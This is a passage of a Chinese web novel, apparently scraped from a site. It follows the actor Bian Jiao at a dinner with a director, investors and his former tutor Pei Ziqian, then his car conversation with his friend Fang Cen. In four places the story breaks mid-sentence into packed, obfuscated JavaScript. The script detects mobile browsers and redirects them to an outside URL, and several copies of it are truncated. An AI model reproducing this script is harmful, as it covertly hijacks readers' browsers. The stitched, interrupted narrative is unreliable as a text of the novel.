郑怀远疑惑:“没睡醒呢?叫你打招呼,傻乐什么?” 卞皎才不理郑怀远,也不管自己的头发现在被睡成一个什么惨样,自己这样一笑又是什么个滑稽样了,反正就笑。笑了好十几秒,才终于停下来,对着裴子骞:“裴……” 他知道裴子骞一定明白自己在笑什么。 “裴哥哥。”他终于叫了一声。 这一声出口,郑怀远愣住。让叫哥,可没让叫哥哥。卞皎却依旧那副笑颜,根本没管自己给老郑带来了多大的惊吓。 他的注意力全被眼前这个留长发、抽烟,现在又来假装大学生坑蒙拐骗的年级第一给攫住。尤其是在看到对方表情因自己称呼而猛然变化的那一刻,他忽然特别想悄无声息溜到对方身后,看看脑袋后面那根嚣张的小揪。 主要是想看看那小揪的发绳,是否还是那根天蓝色的。 10.N-蓝色1 “蓝色作为天空的颜色,一直广受大众喜爱。在英文单词中,它有着忧郁、沮丧的意思。复数形式时,它则还能表示一种音乐,源于美国南部的布鲁斯音乐,即蓝调音乐……” 电台声音被调小,卞皎缓缓睁开眼。雾气朦胧的前方道路令他有些分不清此刻身在何地。 刘成侧了下头:“醒了?还有十分钟就到。” 在首都。在去饭局的路上。 “做梦了吧,”刘成说,边说重新把电台调大,“还说梦话呢。” 卞皎坐直,伴随着电台里缓缓流淌的女声,一时有些头疼:“我说梦话?说什么了?” “不知道,好像是陪……” 卞皎调整坐姿的动作停下。 车这时驶上环岛,刘成安静了一阵,才分神回来继续说:“对,就是赔。” “你说赔钱,赔钱,一直念……你最近在搞投资?” “没有。” 卞皎回答得很干脆,攥紧安全带。他感觉绷得衣服有些气紧。 “那就奇怪了。”刘成说,说完却没再继续下去。 他与红姨不同,平常并无追问的习惯。卞皎也不再说话。他第一百零八遍感激刘成这个好习惯。经过一场短梦之后,他其实只觉得眼睛的疲惫丝毫未有好转,反而酸涨更甚,于是再次闭上了眼睛。 狭小的车内便只有电台的声音。 背景音舒缓,女主持似乎还在长篇大论之前那段有关蓝色的介绍,卞皎眼前一片漆黑,听不出个所以然,直到背景音乐变化,预示一切进入正题—— “今日下午六时,鹏远科技于国家会议中心召开新车发布会,万众瞩目的鹏远we8mega终于亮相首都。” 卞皎睁开眼。 “值得一提的是,we8mega十种配色之中,增添一款全新蓝色——月银蓝……” 蓝。 卞皎的眼前极快闪过梦中那根发绳的天蓝。拿起手机,他搜索,跳出的鹏远科技官网中一系列产品令人眼花缭乱,we8mega置于榜首。经典溜背造型,腰线流畅,一轮标志性的弯月logo镌刻引擎盖上方。 月亮。 “we8系列真的挺好看,我都考虑明年换掉油车,开新能源。”刘成余光瞥见他在搜索,开口说话。 说完又接另一段,仿佛故意想要找一个话题,以此缓解卞皎的睡意:“说起来鹏远科技CEO也真是真人不露相,他们上市前我就跟着你倩姐看过几眼,这么几年发布会都是其他高管主持,我对科技什么的没兴趣也就没去了解。要不是这次和陈久玥恋情被拍,还无法料想到他居然这么年轻。” “不过,也确实只有年轻才做得出来这种事。”红灯停下,他继续说,“创新上大刀阔斧先不说,就说鹏远产品。又是月亮logo,又是带月字新配色的,谁看不是在示爱陈久玥?只是那月的图标吧……” 他指了指天,今夜是一轮缺月,月牙凛白。 “和今天一样,不圆,总感觉有些遗憾。” 说着看向卞皎,似乎想找认同,可却发现对方已经收起了手机。 不知什么时候将头摆向了靠窗一侧,也不知道听见他方才的话没。就着窗外灯光,只能看见那白色脖颈被夜色镀上一层月银,绷出线条。 闭着眼一言不发,像是又睡了。 - 卞皎再次睁开眼,并没有过去多久。 导航终点的那家私房菜在一座郊外观鱼公园里,从停车场出来,可以感受湖风。 刘成将卞皎送进餐厅,见没有什么事情便才道别朝医院赶去。按照早已给好的包厢号,卞皎则跟随工作人员上到二楼。对方说就在走到最里处那个包厢,卞皎道谢。 然刚拐过弯,灯光有些暗下,他便撞到了一个身影。 “……小皎?” 熟悉的声音响起,卞皎辨认两秒,是一张极其俊逸的面孔,眼尾上扬,穿着一袭驼色大衣。 “方岑。”他确认说。 方岑颔首,笑道:“是我,好久没见。” 陌生的地方遇见一个熟识的人,卞皎紧绷的心弦放松一些,也笑,只是不知因为什么,那笑似乎并不带真开心。 只听他对方岑说:“是你好久没见我,我却天天能见你。” 比如几天前的网络中秋晚会,他才见过方岑携手陈久玥。佳人在侧,伴得对方原本就潇洒的气质更上风光,卞皎后来刷到过方岑粉丝发出的一组图片,官媒出品,号称照妖镜的镜头下,那张脸孔却丝毫不出错。 “别打趣我了。”方岑的眸光落在他眼睛上,像是察觉到了他心情的不霁:“你来吃饭?” “是。” “哪个包厢?” “暮云。” “哦,就在我的隔壁。”方岑指了一下,道:“我在玉盘。” 卞皎点头,当他在给自己指路:“谢谢。”说完很自然地抬步要朝里走去,方岑却没有让步。 他抬眸,眼神中带着诧异。而方岑则定定看着他。 “你和谁吃饭?” 卞皎动了下唇,好脾气地说:“剧组。红姨之前发消息告诉过你,《南城往事》。” 他话一出,就见方岑的眉似乎皱起,思索了半刻:“她告诉我做什么?” 卞皎一下就看出不对劲,他没正面回答:“她只说要告诉你。你没有收到她的消息?” 其实他知道答案。 红姨要告诉方岑,是因为《南城往事》之前的导演张明德曾与他合作过,甚至,方岑入圈的首部作品就是张导执导。 方岑是红姨张红霞的独子,这件事没几个人知道。卞皎第一次见张红霞时,就顺带见过了当时还为素人的方岑。 方岑比他小一岁,当时留着寸头,高中读一半辍学了,家里有万贯家财却分毫不取,每天窝在俱乐部里要搞乐队。第一次见卞皎,方岑就好像很看不起他,那时郑怀远刚因害怕他再度出事,将其绑在床上,然后跟红姨不知在客厅里商量什么。 那时方岑就慢慢踱过来,抱着手对卞皎说:“你根本不敢跳。” 卞皎已经没什么力气,眼睛朝斜上方虚虚看着他,左眼眼皮上那颗痣若隐若现,就像他的声音一样。 “你来解开……” “什么?” “我说,你来解开。”卞皎闭上眼睛,下巴颏朝天花板仰起,方岑只能听见他用气声轻笑了两下,像讥诮:“解开,再看我敢不敢。” 方岑站在原地盯了他很久,最后走出房间时步子很快,接近败北落逃。 那一天之后,他就常来看望卞皎。说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229923|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是看望不大对,却也对,因为大多数时候他都是操着一双手什么也不干,就只把卞皎盯着。 张红霞从第一天起就要他叫卞皎哥,他却从来不叫,只是叫小皎。卞皎一开始不应,后来也应了。有一天,他背了一把木吉他来,问卞皎要听什么曲子。 卞皎那时正是失眠巅峰,按理说随意应付方岑一下,说一首小星星啊天空之城啊这样的基础曲就好。但他看着那把吉他好几十秒,却说:“我也有一把吉他。” 郑怀远在边上听见,说对,我给你买过一把。 卞皎不说话。 良久后,他盘起腿看回方岑说:“卡拉·布吕尼的歌,你会么?” 方岑一愣,在脑中把这个名字对了一个号,最后挑了下眉。似乎没想到卞皎这样叛烈的人竟然会想听这位法国前第一夫人的慢歌。 “……我知道她翻唱过赫本的月亮河。”他拨动了一下琴弦:“月亮河,可以吗?” 卞皎抬了下睫,点头。 方岑就弹奏起来。 不得不承认方岑确实在音乐方面有着天赋,嗓音不厚不薄,哼唱起来极其优美。一首缱绻的经典歌曲被他唱出一种爵士风格,连郑怀远都放下手中的电话朝他们这里看来,那时谁也没想到,他最后会和卞皎前后脚进入演艺圈。 也没人想到,卞皎寂寂无名,而他一炮而红。 “《南城往事》找过我,现在换导演了?”方岑说。 “嗯。”卞皎报出导演的名字。 “陈导么?我认识的。我妈的消息……确实没看见,”方岑望了望湖边夜色,又抬腕看了眼表,“这样,我和你一起进去。现在已经快九点,并不早了。” 他很突兀地提出这个想法,也并没做过多什么解释,时间不早与他要陪卞皎进包厢之间,看似并无什么因果关系。 但卞皎清楚他最后一句话是什么意思。 提前约好的饭局没有在晚九点才开启的道理。卞皎被通知这个点来,就代表他绝不是座上宾,既不是座上宾,那究竟是什么,谁也不清楚。 总之这个时候方岑提出陪他,其实就是主动提出替他撑腰。 任何一位糊穿地心的小演员,但凡稍稍有那么一点审时度势的意思,这种情况下都会欣然收下这位当红男星的好意。但卞皎这个人,很难说他会不会审时度势。这种会不会,并不是指他懂不懂,而是指他愿不愿。说他古怪又挑剔可以,不过说他心中有另一种利弊法则,或许更为合适。 比如现在,听完方岑的话,他只看着这副真正能称得上线条韵致的面庞,良久后叹一声气。 “你知道的,我不愿意麻烦你。” 明明是既没答应又没拒绝的一句话,方岑却立时便听出这是婉拒。 毕竟过去卞皎没少婉拒他。 几年飞逝,好似蓬草,单是年岁上他就已增加,毋庸提在圈子中见遍了各式各样的人情世故,按理来讲,他应该比过去更加放得下,比过去更能懂对方拒绝时,自己最好放手。 可面对卞皎,他却感觉自己似乎毫无长进。还是动了下喉,说:“只是陪你进去。” 说完他再不给卞皎拒绝的机会,调转步子朝身后:“顺便见一见陈导。” “许久未见,既然知道他在,去打声招呼是应该的。” 11.N-蓝色2 方岑其实只比卞皎小一岁,却总有一种谁都不能忤逆他的固执,仿佛还是十六七岁的意气少年。 卞皎无可奈何,只能跟在他身后,不远不近,朝走廊最深处的那个包厢走去。 走廊是露天的,没有灯光,只借着楼下湖边一根一根立起来的中式灯笼,此刻算得上夜深人静,凭栏望去,倒有一种古诗文中的清幽。 这种清幽,正与方岑推开的包厢相反。 包厢门刚开,卞皎便听见一阵人声,不时夹杂不大不小的哄笑,隐约还有推杯换盏的劝酒,其实是很正常的宴会,但眼下与湖畔清景相比便不免见绌了。卞皎脑海里立时便出现一个词。 低俗。 这个词出现的下一秒他就自我否定。低俗?那么自己呢?没见过人这么绕着弯骂自己的。 于是方岑转头,见到的竟是身后不远处的卞皎轻轻垂眸,在笑。 渔火相称,他的皮肤皎洁若玉,一时间就让方岑有些说不出话,方才因被拒绝而生起的一丝愠意这一瞬间就此消散,十分轻易。 “……不进来吗?”他问。 卞皎就点头,扶过他为自己打开的门走进。 这家私厨极为注重私密性,入包厢,卞皎首先看见一幅巨大的屏风,其上的画是皎月玉兔图,似还在呼应中秋之月的主题。屏风背后才是真正的宴席。 方岑依旧走在前面,但却突然停下步子。 卞皎朝前一看,发现屏风后走出一人,凝眸看才发觉那竟正是他此行要见的人,导演陈沃乡。 算年龄,陈沃乡与郑怀远差不多大,头发上已有些些花白。他此刻脸上带红,应该是有醉意不过却还算清醒。因为他只朝方岑与卞皎的方向看了一秒,便立马笑开,张开拥抱。 “哎哟,方岑!” 方岑笑着回抱:“陈叔。” 陈沃乡松开,拍了拍方岑的肩侧:“你小子最近在做什么?上次见你,还是柏林电影节……” “待业在家。”方岑说。 “年轻人,工作不积极啊。” 方岑就笑:“这不是等着您给我好剧本么?”说着,他忽然侧身,右手极其自然揽上身后之人腰侧,将他带上前。 “这是我的朋友,”方岑介绍,“卞皎。” 他的语调平常,动作大方,只是朋友一字在眼下这个场景,似乎变得没那么可信。 毕竟娱乐圈名利场上,什么关系都能说成朋友。 卞皎伸出手和陈沃乡握手,看见对方一直噙着的笑似乎变得有些云淡风轻,只是虚虚握了一下他,说了一句好,便又转回了方岑,点着手指。 “那么说好了,我这里好剧本多的是,叫你你可要来啊……” 方岑说那当然,然后说听说卞皎预备参演您的电影,所以才一同来和您打个招呼。 陈沃乡这时才哦了一声,尾音上扬,把目光重新投回卞皎,像是完全第一次见到这个人,第一次听说这个名字。 这一瞬间,卞皎有些想给刘成打个电话。让他去问问这个包间里屏风之后不知道坐在哪个方位的艺统,问问他,你是不是找错人了?真的是我,姓卞名皎的我,来演这部片子的男二吗? 怎么导演连我的名字都没听说过呢? 陈沃乡忽然又哦了一声,这回的哦变成了轻声。 “卞、皎。”他重复了一遍卞皎的名字,似乎是想起了什么,虚眯着眼睛:“试了林言安这个角色,对不对?” 他说这话时又看回了方岑,弄得卞皎不知道该不该说话。 “没有错。”方岑说:“光是得到试镜机会,他就高兴得给我电话。” “是么?”陈沃乡这下终于看向卞皎:“我记得你,你的戏不错。” 他终于肯把他瞧仔细。 饶是卞皎已非头一次察觉方岑已然长大,这一次的感觉却仍旧比什么时候都强烈。他分明没和方岑说过自己试镜的究竟是哪一个角色,可对方仅仅看了一眼自己便确定。 陈沃乡把卞皎看了有十来秒,开口:“还没签约是吧?” 卞皎点头说是。 “嗯,那么是要进去聊一聊的。这些事情制片刘老师在管,你去找她,好么?” 大导说话真是丝毫不抬架子,仿佛什么事都有商有量。但卞皎知道对方这是在叫自己离场,他想对话的人,只有方岑。 方岑的手这时在卞皎身后轻轻使了一点推力,示意他去。 卞皎于是和陈沃乡道了声先进去,又侧首与方岑低声说了一句什么。方岑轻笑说好,得到回复的卞皎就继续朝屏风走去。 他并不知道陈沃乡嘴里的刘老师是何人,但他知道今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好,来。”刘导回身,塞过一瓶白酒。瓶身冰凉,赛过楼外湖风:“你去里面那一桌,给老板们添添酒。” 里面一桌仅有五人左右,刘导的意思是,那都是大资方。卞皎目光随之一侧,瞬间,瓷在原地。 餐桌最主位上,是一个身着白色衬衫的身影,黑色西服挂在身后,领带是灰蓝色。头发利落梳起,食指与拇指捏着眉心。 额前皮肤微红,明显饮杯不少。 桌另一侧有人站起说:“裴总,久仰Oneiro大名,今天终于见到你……来,那边,你来给裴总满上……” 那人点卞皎。 裴子骞的眸就微微睁开,朝卞皎的方向看来。 12.N-蓝色3 裴子骞早在想这个人会不会来,直到这个人真的来了。 那么他在等这个人么?不是。 他的视线不过在那抹身影上停留不到半秒,又滑落到对方手中那瓶玻璃酒瓶一秒,然后便收回。 这场饭局,早在三个月前他回国之初就已筹备,此时朝他敬酒之人是国内最大车胎供应商的高管。旁边那一桌倒是一个半月前才订好,那时他的团队得知对方与这个剧组中一位女演员往来密切,便借此组局,果然,很是见效。 三个月前他带着Oneiro回国,以鹏远科技为名在国内活动,we8mega智驾系统通过本土化算法进行深度训练,成效颇丰,但团队在海外待久,大陆毕竟不是主场。借着集团的关系网,他主动适应首都模式,在餐桌上举起酒杯。 和他一起回国的还有COO宋清。宋清是标准的ABC,从一开始的跃跃欲试到如今见杯便怵,某次席后,他抓着裴子骞,不再说他那口带着口音的中文,而是如释重负地切回母语,用英文问:“Chan,你有没有听说过古代的一句话。” 裴子骞示意他说。 他切回汉语,七零八碎:“人之贤不肖……like老鼠,在所自处!” 前方助理被逗笑说,宋,你这是自个儿编的吧?还中英混杂了。 裴子骞那时也笑了笑,说:“我大概知道你说的是什么。” 他毫无错漏说出原文。人之贤不肖譬如鼠矣,在所自处耳。 “Bingo!这就是我跟着你干的原因。”宋清语调轻浮,吊儿郎当:“我是老鼠,我选择你这个仓待,果然发展不错。B轮融资前,我从未想到你这个鹏远,就是我从小听到大的那个鹏远。喂,等一下,你们从小都是听这些长大的吗?我居然一年前才知道这句话。” 裴子骞摇头。 “这是纵横家。”他说:“我想我从小到大,不曾接受这类的机会主义教育。” “You kidding me?”宋清五官先是写满震惊,片刻后说,“机会主义是什么意思……” 助理就为他解释纵横家与机会主义两个名词,他听着听着却仰头睡了,鼻息轻轻打呼。 这仅仅是酒后一场并不重要的对话,裴子骞后来却常常想起。他想自己确实不曾接受机会主义教育,但在他的人生旅途之中,似乎并未少做出投机之举,例如他的回国,正是一场投机之下做出的选择。 再例如此刻,他想要解决一个困扰多年的难题,并且试图一劳永逸。 包厢之中,举着酒杯的高管朝后发问,语气不耐:“你好,听见我的话了吗?”是在问不远处愣住的卞皎。 裴子骞可以看见对方的手臂微微动了一下,但十分僵硬,然后,抬步朝自己走来。 他的目光是垂着的,这和记忆中很不一样。夜温十一度的天,他从外面进来,却只穿了一件薄衬衫,淡天蓝色。他的手很白,指甲修剪圆润,看不见任何的毛孔。他倒酒时,手腕转动。他在颤抖,酒就从杯边洒了出来。 裴子骞的西裤被打湿,些许湿润。 “对不起……”卞皎直起酒瓶,从桌上抽出灰白的纸巾,却又顿在半空,像是不知道该不该为对方擦拭。 他的神色慌乱,他的耳根泛红。到这种程度,他都没有抬头,他没有抬头看自己一眼。 裴子骞觉得自己的脖颈处有些发热,心中压抑许久的燥郁终于在此刻现身眉间。他推开挡在自己身前的那只手臂,径直越过那手里抽好的纸巾,自己从桌上取过,然后垂眸敷衍地擦拭了两下。 高管的声音传来:“刘制片,你们的人怎么做事的?”他的阵仗了得,像是有人犯了天条,要找管辖的小官问责。 那位刘制片赶来:“怎么了?……卞皎,怎么了?” 卞皎手中的酒瓶被放在桌上,发出轻轻一声磕响。 “我把酒倒洒,”他毫不推脱说,“先生的西服多少钱,我赔付。” 裴子骞的动作顿住,手中纸巾攥紧,然后,忽然松开。他抬头看向站在自己身旁的那个人,问出一句话: “你是故意的?” 他的声音不大,甚至可以说很轻,像是在和一个朋友低声询问对方觉得今夜的葡萄酒口感如何,在场的所有人却都停下动静,朝他看来。 那个人也终于朝他看来。 他的嘴唇微微张开,似乎是被这问句惊到,不知是惊讶内容,还是惊讶发问的人。因他站着,所以他看他时要垂眸,薄薄的眼皮落下,睫毛纤长,眼底倒映窗外湖中红□□火,他左眼褶皱上的那颗小痣就裸/露出来。 “不是。”他只很简单地回答。 裴子骞盯着他的眼睛看了几秒,忽然笑了。 任何一个有基本判断能力的人都能看出,他是气笑。站起身,他拿起身后的西服外套,左手拨打电话,绕过站在自己身前的人,直接朝外走去。这个海外归国的科技精英实在有风度,生愠时竟不迁怒任何人。 所有人只能听见他对电话说:“为我送一套衣服……”剩下的话则被屏风模糊。 - 助理送到衣物时,裴子骞在餐厅更衣室。 送来的是一另一套正装,因为摸不准究竟发生了什么。“Chan,怎么了?”打量了一下裴子骞的脸色,他问:“结束了么?” 裴子骞解领带的手怔了一瞬,旋即低眸继续。“嗯。”他取下领带,开始解衬衫纽扣:“你去把车开来,我在门口等。” 助理说好,便转身走出。 门锁扣响,剩裴子骞独自留在更衣室,他却没再继续换衣。还未换掉的西裤潮湿而粘稠,紧紧贴着肌肤,像是秋燥午夜时惊醒后背脊上密湿的汗,他的领口敞开,浑身蒸腾出的酒气,说是喝醉绝不为过。 喝醉了吗?他竟说不清楚。 抵着额在沙发上坐了良久,忽然一通新来电响起。裴子骞抬头,眼睛附近的肌肤像是因酒精而泛红,找出手机,来电是宋清。他今日没有和裴子骞一同出席。 “Chan,怎么了?” 怎么了,又是一个问怎么了的。 “那边的电话打到了我这里,说你突然离席,对面还有人对我道歉。” “没事,我会解决。”裴子骞说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋清闻言缄默几秒,接着传过轻轻一笑,是他切换到英文:“美是奇迹中的奇迹,只有浅薄之人才不以貌取人,奥斯卡·王尔德。——Chan,我不曾料到,原来你是浅薄之人。” 电话这边坦然接受:“我从未高深。” “你今天解释很多,我受宠若惊。”宋清说:“高深这个词我听不懂。不过如果那位actor真的美丽,如果我没想错,也许这些话你还需要说给一个人。需要我替你告知她么?真是羡慕你的艳遇,她可能会伤心,但没关系,我愿意替你安慰—— “毕竟你的未婚妻陈久玥,也是一位极其美丽的女人。” 宋清说话一向如此,随意却又蕴含其意,分不清是否在玩笑。 裴子骞并未正面回答他的最后一个问题,只在挂断电话前点燃一根香烟。伴随着火机的擦响声音,他说:“你主谈的那场跨境并购协议今晨还放在我的办公桌上待签字,我不介意打开碎纸机。” 宋清诶了两声要挽留,却迎来挂断嘟音。 餐厅正门,车中等候的助理收到一条消息,是裴子骞示意他先将车开回停车场,他说一切暂时还未结束。 13.N-蓝色4 卞皎已下到楼梯,手机上在同接自己的人发消息。 忽然有人在后面叫住他。 “卞皎啊,”是刘制片,“等等,你回来。” 他握手机的手紧了一下,似乎是有些迟疑。方才那出不欢而散的宴席之后,刘制片对他的态度并不美好,最后是他执拗地以赔偿西服为由,才添加上刘制片的微信。 移动脚步,他朝刘制片走回。 对方的左手还握着手机,似乎刚刚结束一通电话。 “怎么就走了?”刘制片牵上他,语气竟然是翻天覆地的亲昵,比语气更令卞皎意想不到的,是她接下来的话:“我们还没签约呢。” 卞皎的眉缓缓皱起:“刘老师,我以为我们不会合作。” 方才他在饭局上经历一遭,已然感受到了不适。他不清楚自己当时是怎样做到捧着那壶浓度不低的白酒走到裴子骞当面的,只当心智失神,总之为谁斟酒这样的事,他过去从未做过,现在也做不惯,不管对象是谁。 刘制片见他的样子,怔了一下。 她不是不知道他的脾气,一个多月前对方在晚会厕所将导演张明德打上担架的事情,谁不清楚? 那时她还觉得奇怪,多留意了一下卞皎的团队,发现对方并没有在这件事发生后做过什么,但整条消息无声无息就消失了,连半点风声都没有,这样的结果,只能是背后有某个实力可抵强大资方的势力在操盘。 不是卞皎的团队,那难道是张明德自己么?她想不通,只能姑且这样认为。可谁知道就在两天前,张明德竟突然被爆税务丑闻,这对演艺圈中人来说可是天大的事情,想张明德在圈中关系网并不弱少,竟然会在这样的事情上落败,她半夜读来,只觉得一阵后怕。 今天之前,她从未把后来的税务丑闻与卞皎联系在一起。眼下却不得不联了。 半小时前,卞皎在包厢中得罪《南城往事》背后最大的投资方李总,李总当场宣布绝不会在自己的片子里用卞皎一秒。可半个小时后的现在,她突然接到电话,通知资方被换。 刘制片从业多年,见过演员被换、导演被换,却从未见过几个资方能够用上“被换”这个字眼。 据说新老板是外国人,在好莱坞做过几次生意,对《南城往事》剧本很感兴趣,尤其喜爱其中的二番“林言安”。不知通过什么渠道拿到了所有试镜底片,钦定要卞皎出演这个角色。 这样的巧合实在太过吊诡。 怎么会卞皎一出错,就有天赐般的机会为他收尾?刘制片不信鬼神命运一说,首先还是怀疑其背后有人。可她与卞皎的经济人打过交道,对方的样子虽不说奴颜婢膝,总归不算多有底气,若是背后有人,又怎会接受十万片酬的过分要求? 想到这里,她看向卞皎的眼神还是保持谨慎。 “怎么会不合作?”她多年来积累起一套话术,万事都能说出一片花来。 “刚才你走了,陈导还在问我你去哪里了呢!我知道,你是觉得方才发生的事情不愉快,对不对?我首先要道个歉,这事是我不对。李总一开始要我来照顾酒杯,我因两桌人太多,实在忙不过来,才拜托你。这样的事情确实不好做,是我预先疏忽。” 卞皎的眉皱得更紧。 他在想这位制片是真的一点不要面子么,本已确定的事情她竟能完全换个说法,并且分毫不脸红心跳。 “下午我和你经纪人聊天的时候就说定了,这个角色一定是你的,这一点,不管什么李总张总,都改变不了。”刘制片继续说。 说到经纪人一词,卞皎的眼神明显动了一瞬,她敏锐地把握住这个变化,再加上一把火候:“你的经纪人刘成很珍惜这次机会呢,这不,我正准备给他报个信,说一切都顺利。” 说着,她将与刘成的聊天框调出。框中倒数第二条消息是刘成说,好的,我们一定准时参加,请问有无服装要求?刘制片没有回复。 最后一条消息是刘成说卞皎到了,望刘老师照顾,于晚九点发出,现在是十点二十一。 依旧没有得到回复。 如果要卞皎填一个名为“全世界最对不起的人”的表格,他会毫不犹豫将刘成列到第三名。 第三名,这乍一听是一个不上不下的位置,可以理解为我对不起你,但我还有更对不起的人,所以只能麻烦你稍稍往后靠靠,好不好?卞皎曾在心中做过设想,如果这个表上的人知道各自的排名,会有什么样的反应。不需要说,刘成一定会觉得诧异。 在刘成的视角里,卞皎并没有做过什么对不起他的事情,最大的,不过就是曾经与导演发生冲突,导致他那个月的薪资被扣掉三分之一。但他不知道,卞皎本就没有对不起过什么人,刘成排到第三,是因为名单上一共仅有三个人。 刘制片将卞皎带回到“暮云”包厢时,刘成刚巧给他发来消息。 [听刘制片说你马上要签约了,恭喜拿下角色!好好看合约,倩倩和我请你吃饭庆祝] 走到屏风前时,卞皎编辑出回复。刘制片让他独自进去,他便按下发送。 [多谢哥。倩姐怎么样了?] 先表感激,再表关切,不知从什么时候开始,卞皎好像下意识就会编辑出这种每一字句里都是恰到好处的亲近与疏离的文本。 收起手机。有了先前的一遭,这一次他此前就问好包厢里面有谁,刘制片答没有谁,只有将与你解释各项条款的工作人员。她的话已无可信度,卞皎私下半信半疑将手机调出紧急呼叫,若有半点意外,他将通过按钮与紧急联系人取得联系。 根据墨菲定律,任何可能发生的意外最后都会发生。 在进入包厢一分钟不到,卞皎的紧急呼叫便被按下,距离餐厅二楼约莫五百米处的地下停车场里,等候他的方岑接到电话。然而方岑赶到时,包厢仅剩卞皎一人。 合约散落一地,手机在脚边碎屏。 偌大的房间里,只有卞皎一人站在最中央,背对着他,手中好像拿着一支钢笔。 如果要卞皎填一个名为“全世界最对不起的人”的表格,第一名最不需要思考,一定只会是裴子骞。 方岑与卞皎交友五年,今夜他是第一次从对方口中听到这个名字,并且他相信如若不是这次自己强硬要求,那么就算一辈子听不到这个名字,也不无可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240559|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— “劳驾你送我,”卞皎说,“我知道你很好奇发生了什么,但我真的很累了。” 从一片狼藉的包厢出来后,方岑送他到宿舍楼下。现在他只想快一点上楼,躺在床上什么也不要再想,即使今夜注定无法入睡,但只要躺在床上就可以。 然而他并未料到,方岑没有打开车锁。 “卞皎,你把我当做你的什么?” 他这一句话问得十分突兀,夜色之中,可以看见副驾上人的面孔模糊怔恍一刻。 但下一瞬,方岑便说:“我还算你的朋友吗?或者说,你还是把我当成弟弟也可以,请你不要因为一场结果不完美的表白就将我拒之千里,我是真的想要知道发生了什么。你应该还没忘记,在陈沃乡要你进去包厢前,你有当着他的面和我说,请我等你,载你一程回家。” 他说着,忽然笑了一下。 “我不知道你有没有想过,你这样和我说话,陈沃乡会把我看成你的什么,也许你想过,也许你是故意的,但那对我而言已不重要了。即使我告诉自己很多次,不要再对你有什么想法,在那一刻后却还是忍不住要幻想。 他仿佛是将这段话埋藏在心中许久,就像一段本该湍急的河流被从中截断,河水终有一刻决堤泄洪。 “可这种幻想最终还是被打破,可笑的是,和曾经每一次被打破的方式都一样——我只能看着你一个人经历,而我连你的故事背景都不清。” 最后一个字落下,他终于敢朝卞皎看去,但却只能看见对方一开始就紧皱的双眉直到此刻依旧紧皱。 不知道他对自己的话是否有什么反应或者感想,只能知道他嘴唇的白皙丝毫未褪,并且,毫无要张开的意思。 叹了一声气,方岑解锁车门,他想从今夜起,他是等不到这块冰冷的铁心和自己再度对话了。 “你回家吧。”他说:“可以权当我在放屁。” 卞皎的目光朝他投来,他却错开,握上方向盘。 卞皎只能将视线收回,手覆上车门。 “……不。”忽然,卞皎说。 他把手从车门上放下,移过头来:“我们依旧是朋友。方岑,你没有想错,我确实是故意的,利用你,我只能说抱歉。如果你不介意,如果你想听……我不知道,这些事情我从来没和任何人讲过,但也许,今夜确实是一个告诉你的好时机。” 方岑的嘴微微张开,朝他投来讶异的目光。 卞皎目视前方,一棵枯绿色的灌木丛在路灯下孤零生长,有风吹过时它便哗哗追寻。 “你知不知道一个人,”他说,“裴子骞。” 方岑想了一瞬,点头:“他与陈久玥的事,我想没有人不知道。” 卞皎忽然就笑了:“我是前两天才知道,裴子骞竟然如此有名。” “你在这之前就认识他?”方岑一默,知道自己可能将听见一个并不简单的故事:“不如你直接从头讲起,我不再插话。” 卞皎点头:“谢谢。”将车窗降下一掌距离,在这一瞬间,他突然也很想试试抽烟。 “其实这件事情,本身就只能从头讲起。” 14.B-噪点1 十六岁这年,卞皎认识了裴子骞。 第一次见面已记不清是什么时候,连同第二次、第三次,都记不清。总之在卞皎充满噪点的高中时代记忆里,裴子骞的身影永远存在,从不甚模糊一点一点变得清晰。 “我们真正认识,其实起于我的父亲。”卞皎主动地省略掉一些细节:“他高中时家境不如现在,我也并不知道他怎么会和现在的鹏远集团有关系,总之那时他假装大学生去应聘家教,巧合一般遇上老郑,于是来补习我物理。我可以事先告诉你一点,那就是我这个故事真的很无聊,很枯燥,其实说到底,不过是动情又分开。” 方岑似乎无法一时间接受这样的联系:“你和裴子骞曾经……” “是的。不过我们一开始和所有男生一样,仅仅是朋友。” 那么一切从什么时候转变? 卞皎不知道,他只能本能地从记忆中挑选出最有可能的一个时间。 “高二上学期,老郑承诺如果我的成绩进步,就给我买一匹盎格鲁马,在裴子骞的帮助下,我得到了这匹马。我记得买马那一天风很大,天是非常首都的那一种灰蓝色,那天老郑出差,是裴子骞和我一起,我们给马取了一个名字,叫做蓝调。” 他与裴子骞,其实一开始并不怎么合得来。 